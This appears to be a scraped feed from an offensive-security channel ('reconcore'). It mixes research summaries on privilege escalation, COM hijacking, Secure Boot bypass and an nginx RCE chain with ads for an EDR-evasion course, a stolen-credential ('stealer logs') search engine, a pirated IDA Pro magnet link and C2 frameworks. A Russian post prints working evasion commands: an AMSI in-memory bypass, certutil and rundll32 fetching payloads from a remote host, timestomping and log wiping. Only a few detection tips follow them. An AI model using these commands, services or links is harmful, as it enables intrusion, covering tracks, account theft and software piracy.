reconcore

IDA PRO 9.4.260714 magnet:?xt=urn:btih:2b0e738cd3762331db0c16e47ac386c85cf65a4c&dn=ida94hotfix&xl=3681781199&tr=udp%3A%2F%2Fopen.stealth.si%3A80%2Fannounce&tr=http%3A%2F%2Ftracker.renfei.net%3A8080%2Fannounce&tr=http%3A%2F%2Fipv4.rer.lol%3A2710%2Fannounce&tr=udp%3A%2F%2Fopen.demonii.com%3A1337%2Fannounce&tr=udp%3A%2F%2Ftracker.dler.com%3A6969%2Fannounce&tr=http%3A%2F%2Ftracker.mywaifu.best%3A6969%2Fannounce&tr=http%3A%2F%2Ftracker.bt4g.com%3A2095%2Fannounce

LegacyHive: Windows user profile service arbitrary hive load elevation of privileges vulnerability

The PoC requires another standard user credentials and a third username (which can be an administrator account), if the PoC is successful, it will end up mounting the target user hive in current user classes root. The PoC was stripped down as an attempt to prevent public exploitation, the original PoC did not require additional user credential and was not limited to usrclass.dat hive, any hive could be loaded using this vulnerability but you would need some brain cells to make the PoC do it.

#vulnerability #poc @reconcore

COMLoaderAstharot

COM Hijack for CLSID {9FC8E510-A27C-4B3B-B9A3-BF65F00256A8} (chrome and msedge)

#com #hijack #av @reconcore

Forgotten UEFI Shims Undermining Secure Boot

Original text: “Forgotten UEFI shims undermining Secure Boot” — Martin Smolár, ESET Research (July 14, 2026). Figures, code blocks, and technical diagrams below are reproduced verbatim with attribution captions.

Executive Summary

ESET researchers identified 11 old and forgotten UEFI shim bootloaders at versions 0.9 and below that can be used to bypass UEFI Secure Boot…

#secureboot #uefi @reconcore

Two Bytes to RCE: Chaining Rift + PoolSlip into an ASLR-Independent nginx 1.30.0 Exploit

Original text: “Two Bytes to RCE: Chaining Rift + PoolSlip” — y198, Verichains (Jun 06, 2026). Code, tables and figures below are reproduced verbatim with attribution captions. PoC: github.com/y198nt/Nginx-chain-Rift-Poolslip.

Executive Summary

A two-bug chain in nginx 1.30.0 achieves unauthenticated remote code execution without relying on ASLR breaks. The first bug, CVE-2026-42945 (“Rift”), is a forward…

#cve #buffer_overflow #exploit #development #exploitation #network #vulnerability #analysis #rce #nginx @reconcore

Certified Evasion Techniques Professional (CETP). (2025)

Курс предназначен для специалистов по информационной безопасности с опытом, даст необходимым знания для обхода защиты в современных корпоративных средах. Этот курс углубляется в методы и методологии, используемые для обхода контрмер конечных точек, таких как EDR. Вы получите полное понимание внутренних устройств Windows, включая различие между компонентами пользовательского режима и режима ядра, а также получите полное представление о внутренних элементах EDR и о том, как собираются телеметрии, узнаете о Windows Internals, обращая вспять EDR, минуя Microsoft Defender для Endpoint (MDE), Elastic EDR, используя ядра Sysmon для уклонения от защиты и обходя контроль безопасности, такие как защищенные процессы (PP), Process Protection Light (PPL), Digital Signature Enforcement (DSE), правила снижения поверхности атаки (ASR) и недееспособные.

Этот курс не просто об изучении новых методов; это понимание внутренней работы оборонных технологий, чтобы вы могли перехитрить их в любом сценарии. #edr #technique @reconcore

Pocket Disasm One MCP endpoint. Many isolated IDALib sessions. A lightweight, agent-first control layer for headless binary analysis with the IDA Pro MCP toolset. @reconcore

P³ — Shellcode Loader: Process Parameter Poisoning

This loader implements a code injection technique that leverages the Windows Process Parameters structure (PEB) as a staging and execution location for remote shellcode injection.

By passing payload data implicitly through standard parameters like CommandLine, Environment, or ShellInfo, it bypasses EDR detection because it doesn't touch heavily monitored APIs like VirtualAllocEx, WriteProcessMemory, or CreateRemoteThread. Since it runs without spawning suspended processes or relying on process hollowing, it leaves virtually no obvious footprint in the system. Research #maldev #injection #edr #bypass #windows #peb @reconcore

💉 P³ — Shellcode Loader: Process Parameter Poisoning This loader implements a code injection technique that leverages the Windows Process Parameters structure (PEB) as a staging and execution location for remote shellcode injection. By passing payload data implicitly through standard parameters like CommandLine, Environment, or ShellInfo, it bypasses EDR detection because it doesn't touch heavily monitored APIs like VirtualAllocEx, WriteProcessMemory, or CreateRemoteThread. Since it runs without spawning suspended processes or relying on process hollowing, it leaves virtually no obvious footprint in the system. 🔗 Research: https://sensepost.com/blog/2026/process-parameter-poisoning/ 🔗 Source: https://github.com/Orange-Cyberdefense/p3-loader/ #maldev #injection #edr #bypass #windows #peb

Defense Evasion: как атакующий прячется от EDR и антивируса 👋 Приветствую в мире цифровой безопасности! Сегодня расскажу про техники Defense Evasion - как атакующий скрывает свою активность от средств защиты уже после того как закрепился в системе. ⏺Defense Evasion - это не одна техника, а целый класс. Тут задача не выполнить действие тихо один раз, а сделать так чтобы весь дальнейший процесс не триггерил алерты. Без этого закрепление в системе бесполезно: EDR увидит подозрительный процесс через час и всё оборвёт. ⏺AMSI bypass - Windows Antimalware Scan Interface проверяет PowerShell-код перед выполнением. Атакующий патчит функцию проверки прямо в памяти:

$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

После этого любой вредоносный скрипт проходит без сканирования - AMSI думает, что инициализация провалилась и просто пропускает всё дальше. ⏺Process injection - вместо запуска нового подозрительного процесса код внедряется в уже доверенный:

$proc = Get-Process -Name "explorer"
# Дальше через WriteProcessMemory и CreateRemoteThread
# внедряем shellcode в легитимный процесс

Для мониторинга - это выглядит, как обычный explorer.exe, а не как новый неизвестный бинарь - большинство базовых правил детекта смотрят именно на имя и происхождение процесса. ⏺Timestomping - меняем метки времени файла, чтобы он не выделялся среди системных:

# Linux
touch -r /bin/ls malicious_file
stat malicious_file

# Windows через PowerShell
(Get-Item file.exe).CreationTime = "01/15/2020 10:00:00"

Форензика часто ищет файлы созданные в момент инцидента - timestomping ломает эту эвристику полностью. ⏺Living off the land - используем только легитимные системные утилиты вместо своих инструментов, тогда сигнатурный детект бессилен:

# Скачивание файла через certutil вместо curl
certutil -urlcache -split -f http://10.0.0.1/payload.exe payload.exe

# Выполнение через rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://10.0.0.1/script.sct")

certutil и rundll32 подписаны Microsoft и есть на каждой Windows-машине - антивирус не может просто заблокировать их целиком. ⏺Log clearing - чистим или отключаем логирование там где были:

wevtutil cl Security
wevtutil cl System
# Linux
> /var/log/auth.log
history -c

⏺Детектируется через поведенческий анализ а не сигнатуры: аномальная работа с памятью легитимных процессов, вызов certutil с параметром urlcache, массовая очистка логов сразу после подозрительной активности, несоответствие timestamp файла и записей в MFT. Sysmon Event ID 1 (создание процесса) и 10 (доступ к памяти процесса) - основа для детекта большинства этих техник. ZeroDay | Серверная Админа | #defenseevasion

Linux LPE Toolkit Multi-architecture privilege escalation toolkit with 24 exploits (amd64 pre-built; other architectures compiled via gcc at runtime). Supports amd64, arm64, 386, mips, mipsle, mips64, and mips64le. Detects kernel version, filters patched exploits, and tries each in order until root is obtained.

kmz.bio: The stealer logs search engine. Direct search engine for stealer logs, combolists, and priv8 clouds. @kmzGod_bot https://kmz.bio

Protecting C2 Traffic in Nim #c2 #dev @reconcore

Cortex C2

Open source Linux post exploitation framework inspired by the void link C2 framework, and my implementation was built for embedded device security research, CTF use and for educational purposes only.

#c2 @reconcore

Disposable Tooling: Generating Mythic C2 Agents End-to-End With LLMs

Original text: “Disposable Tooling: Building LLM-Generated Mythic Agents from Prompt to Deployment” — Adam Chester, SpecterOps (Jun 24, 2026). Figures are reproduced with attribution captions and the agent summary table is reproduced verbatim; the prose below is an independent summary.

#llm #cybersecurity #research #redteam @reconcore